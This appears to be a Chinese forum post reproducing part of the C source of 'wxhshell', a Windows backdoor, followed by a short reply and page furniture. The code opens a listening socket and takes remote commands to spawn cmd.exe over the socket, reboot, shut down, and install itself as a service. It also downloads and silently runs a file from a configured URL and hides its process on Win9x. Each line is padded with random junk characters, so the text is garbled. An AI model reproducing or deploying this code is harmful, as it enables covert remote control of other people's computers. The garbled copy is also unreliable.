  send(wsh,msg_ws_down,strlen(msg_ws_down),0); x2Dg92  
  if(DownloadFile(cmd,wsh)) !f)^z9QX8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4C`p`AQqpQ  
  else Fg^Z g\X3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vhL/L?NB$  
  } Y%#r&de  
  else { yN9setw*,M  
;]Ko7M(4  
    switch(cmd[0]) { hg+0!DVx  
  d/l>~%bR  
  // 帮助 v<V9Z <ub  
  case '?': { +~'ap'k m  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); VD+y4t'^  
    break; uM@ve(8\  
  } JXk<t5@D  
  // 安装 xL\R-H^c]  
  case 'i': { DW0UcLO  
    if(Install()) TRku(w1f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DH'0#  
    else on)$y&lu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \@F!h8e4  
    break; SEsLJ?Dv0  
    } k8O%gO  
  // 卸载 T56%3i  
  case 'r': { :y3e-lr  
    if(Uninstall()) F9 2et<y.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~.&2N Ur  
    else q+cx.Rc#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @Xl/<S&  
    break; be+tAp`  
    } t{o&$s93  
  // 显示 wxhshell 所在路径 %G/j+Pf  
  case 'p': { &b!|Y  
    char svExeFile[MAX_PATH]; ^^{7`X u  
    strcpy(svExeFile,"\n\r"); [ @`Ki  
      strcat(svExeFile,ExeFile); YLFM3IaP  
        send(wsh,svExeFile,strlen(svExeFile),0); vz}_^8O  
    break; CZ}%\2>-v  
    } V jZx{1kCR  
  // 重启 H3Sfz'  
  case 'b': { Y0ouLUlI  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); khS >  
    if(Boot(REBOOT)) ^K`Vqo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @zAav>  
    else { 8w L%(p  
    closesocket(wsh); OYayTKxN  
    ExitThread(0); 1zlBkK   
    } 3iv;4e ;  
    break; :+$/B N:iO  
    } L6IF0`M<,I  
  // 关机 Mxk0XFA  
  case 'd': { Nx^r&pr  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); aOK,Mm:iO  
    if(Boot(SHUTDOWN)) XR.Sm<A[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !a<}Mpeg  
    else { rIo)'L$uU  
    closesocket(wsh); /IyCvo  
    ExitThread(0); _{f7e^;  
    } +u]L# ].;  
    break; #(f- cK  
    } v''F\V )  
  // 获取shell U5pg<xI  
  case 's': { 0DgEOW9H  
    CmdShell(wsh); -]e@FNL  
    closesocket(wsh); >+ E  
    ExitThread(0); pG0Ca](  
    break; b0ablVk  
  } 3Z-N*bhC  
  // 退出 BkcA_a:W  
  case 'x': { Md(h-wYr  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |T;NoWO+  
    CloseIt(wsh); 6p1)wf.J  
    break; .L'eVLQe  
    } W\l"_^d*  
  // 离开 WEVV2BJ  
  case 'q': { 5U5)$K'OA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +(qs{07A$  
    closesocket(wsh); y4Fuh nb>  
    WSACleanup(); Tyk\l>S  
    exit(1); s%p,cz; ,  
    break; B9(e"cMm  
        } Y9_OkcW)  
  } "- XJZ;5  
  } pXBlTZf  
p@Ng.HE  
  // 提示信息 Q@HW`@i  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %tC3@S  
} >ho$mvT  
  } 1j":j%9M  
6}xFE]Df-Y  
  return; k6mC_  
} 0z1UF{{  
:*0l*j  
// shell模块句柄 E` aAPk_ y  
int CmdShell(SOCKET sock) ;4] sP^+  
{ nL]-]n;  
STARTUPINFO si; |wYOO(!  
ZeroMemory(&si,sizeof(si)); m\O|BMHn  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c4AkH|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4_'($FC1  
PROCESS_INFORMATION ProcessInfo; S85}&\m&4  
char cmdline[]="cmd"; SC 6cFyp2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); WUnmUW[/  
  return 0; L@t}UC  
} %:~LU]KX  
/ Q8glLnM  
// 自身启动模式 a&*fk?o  
int StartFromService(void) f3u^:6U~  
{ u_~*)w+mS@  
typedef struct Q\ AM] U  
{ +zz\*  
  DWORD ExitStatus; ~c*$w O\  
  DWORD PebBaseAddress; k25:H[   
  DWORD AffinityMask; ^Cm9[1p  
  DWORD BasePriority; P$=BmBq18`  
  ULONG UniqueProcessId; ?9)-?tZ^Q  
  ULONG InheritedFromUniqueProcessId; r6#It$NU  
}   PROCESS_BASIC_INFORMATION; =ZaTD-%id  
ck WK+  
PROCNTQSIP NtQueryInformationProcess; ,%zU5hh  
r- :u*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v[O}~E7'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {xGM_vH1  
q4~w D  
  HANDLE             hProcess; mEUdJvSG(  
  PROCESS_BASIC_INFORMATION pbi; N5SePA\ ,?  
o JLpFL  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2qF ?%  
  if(NULL == hInst ) return 0; P&s-U6  
z!<X{& e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *QIlh""6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]&dU%9S  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8?> #  
U>,E]'  
  if (!NtQueryInformationProcess) return 0; ^bZ'z  
[K\Vc9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); VJeoO)<j  
  if(!hProcess) return 0; "\x<Zg;  
Hj>(kL9H  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; QQnpy.`:/  
@]rl2Qqe  
  CloseHandle(hProcess); Ju"* ;/  
ZJ$nHS?ra  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~ry B*eZH  
if(hProcess==NULL) return 0; 8K]5fkC|  
_>G.  
HMODULE hMod; =41g9UQ  
char procName[255]; &7i o/d\/  
unsigned long cbNeeded; /{[Y l[{"<  
w=ib@_:f  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v/fo`]zP  
vG{+}o#  
  CloseHandle(hProcess); j;GH|22  
zmw <y2`  
if(strstr(procName,"services")) return 1; // 以服务启动 9ff6Apill  
pn:) Rq0  
  return 0; // 注册表启动  rk F>c  
} g[NmVY-o  
/ bxu{|.  
// 主模块 l8XgzaW  
int StartWxhshell(LPSTR lpCmdLine) 6/%dD DU  
{ Cggu#//Z}Q  
  SOCKET wsl; ]tjQy1M  
BOOL val=TRUE; ,[} XK9  
  int port=0; 7z_EX8^  
  struct sockaddr_in door; /#lqv)s'  
M/O Y "eL  
  if(wscfg.ws_autoins) Install(); ,esryFRG  
Y#/mE!&  
port=atoi(lpCmdLine); Qb.Ve7c  
!T'`L{Sj  
if(port<=0) port=wscfg.ws_port; vuNt+  
:aIS>6  
  WSADATA data; TZl^M h[a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; XY_zF F  
SU,#:s(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   cbton<r~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i40'U?eG~6  
  door.sin_family = AF_INET; R7nT,7k.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); mm l`,t8  
  door.sin_port = htons(port); b%-S'@ew  
A=PJg!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MJzY|  
closesocket(wsl); dr[sSBTY"  
return 1; y^*o%2/  
} @U 6jd4?)  
v!>(1ROQ.=  
  if(listen(wsl,2) == INVALID_SOCKET) { 9tMaOm  
closesocket(wsl); h:4Uv}Z  
return 1; 6w"_sK?  
} `hVi!Q]*P  
  Wxhshell(wsl); ~fht [S?@M  
  WSACleanup(); v>[U*E  
4eRV?tE9  
return 0; pz hPEp;  
Rs +),  
} UqA<rW  
oOAn 5t@  
// 以NT服务方式启动 4ZX6=-u^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S#:yl>2  
{ %3:[0o={d  
DWORD   status = 0; #H5i$ o  
  DWORD   specificError = 0xfffffff; (*K=&e0O  
,u<oAI`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; '|7'dlW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; n | M~C\*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; QF74'  
  serviceStatus.dwWin32ExitCode     = 0; okkMx"  
  serviceStatus.dwServiceSpecificExitCode = 0; #3_t}<fX  
  serviceStatus.dwCheckPoint       = 0; \,ko'4 8@  
  serviceStatus.dwWaitHint       = 0; l} =@9A@  
LK}*k/eG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !!\x]$v  
  if (hServiceStatusHandle==0) return; "8#EA<lsS  
GL^84[f-T  
status = GetLastError(); ;_oJGII?br  
  if (status!=NO_ERROR) \+T U{vr  
{ EW~M,+?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; GpZ}xY'|w,  
    serviceStatus.dwCheckPoint       = 0; LZI[5tA"  
    serviceStatus.dwWaitHint       = 0; J P1XH k  
    serviceStatus.dwWin32ExitCode     = status; 51Q m2,P1^  
    serviceStatus.dwServiceSpecificExitCode = specificError;  v[+ ]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); np6R\Q!&  
    return; EZee kxs  
  } c.eUlr_ {  
5kx-s6 `!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; E rrs6  
  serviceStatus.dwCheckPoint       = 0; 8fSY@  
  serviceStatus.dwWaitHint       = 0; (Zz8 ldO  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); RA$%3L[A!  
} Tv6HPD$[  
s J{J@/5  
// 处理NT服务事件,比如:启动、停止 )jPIBzMys  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 35KRJY#  
{ I R|[&}z  
switch(fdwControl) UGDB4S  
{ wec_=E qK0  
case SERVICE_CONTROL_STOP: ;W?mQUo:P8  
  serviceStatus.dwWin32ExitCode = 0; Mpx98xcO  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %:!ILN  
  serviceStatus.dwCheckPoint   = 0; =1+/`w  
  serviceStatus.dwWaitHint     = 0; =oT4!OUf  
  { ufn% sA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {l9gYA  
  } {` ByZB  
  return; }Y!v"DO#Q*  
case SERVICE_CONTROL_PAUSE: | r,{#EE  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; tNG[|Bi#  
  break; 3jx/1VV  
case SERVICE_CONTROL_CONTINUE: -nQ(.#-n  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +n>p"+c  
  break; GMlJM  
case SERVICE_CONTROL_INTERROGATE: {_R{gpj'  
  break; V<ii  
};  Pm"nwm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kD me>E=  
} DEW;0ic  
( TJGJY  
// 标准应用程序主函数 &EhOSu  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) nyL$z-I)  
{ [0!*<%BgK'  
! NJGW  
// 获取操作系统版本 [ D"5@  
OsIsNt=GetOsVer(); +`7!4gxwK!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); uN=f( -"  
.cz7jD  
  // 从命令行安装 q)3QmA~  
  if(strpbrk(lpCmdLine,"iI")) Install(); D67z6jep(  
6a704l%#hb  
  // 下载执行文件 f\?1oMO\  
if(wscfg.ws_downexe) { 8~sC$sIlE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) QJSi|&Rx&?  
  WinExec(wscfg.ws_filenam,SW_HIDE); 40O@a:q*  
} \A6 }=  
PPde!}T$  
if(!OsIsNt) { OQVo4yl"  
// 如果时win9x,隐藏进程并且设置为注册表启动 MaLH2?je^n  
HideProc(); `neo.]  
StartWxhshell(lpCmdLine); %I;uqf  
} P?@o?  
else DiskGq@T  
  if(StartFromService()) 6]mAtA`Y  
  // 以服务方式启动 |Y v,zEY)  
  StartServiceCtrlDispatcher(DispatchTable); r::0\{{r"p  
else jW{bP_,"  
  // 普通方式启动 }}l jVUpC%  
  StartWxhshell(lpCmdLine); n(.L=VuXn  
8Y_lQfJa  
return 0; j Y(|z*|  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八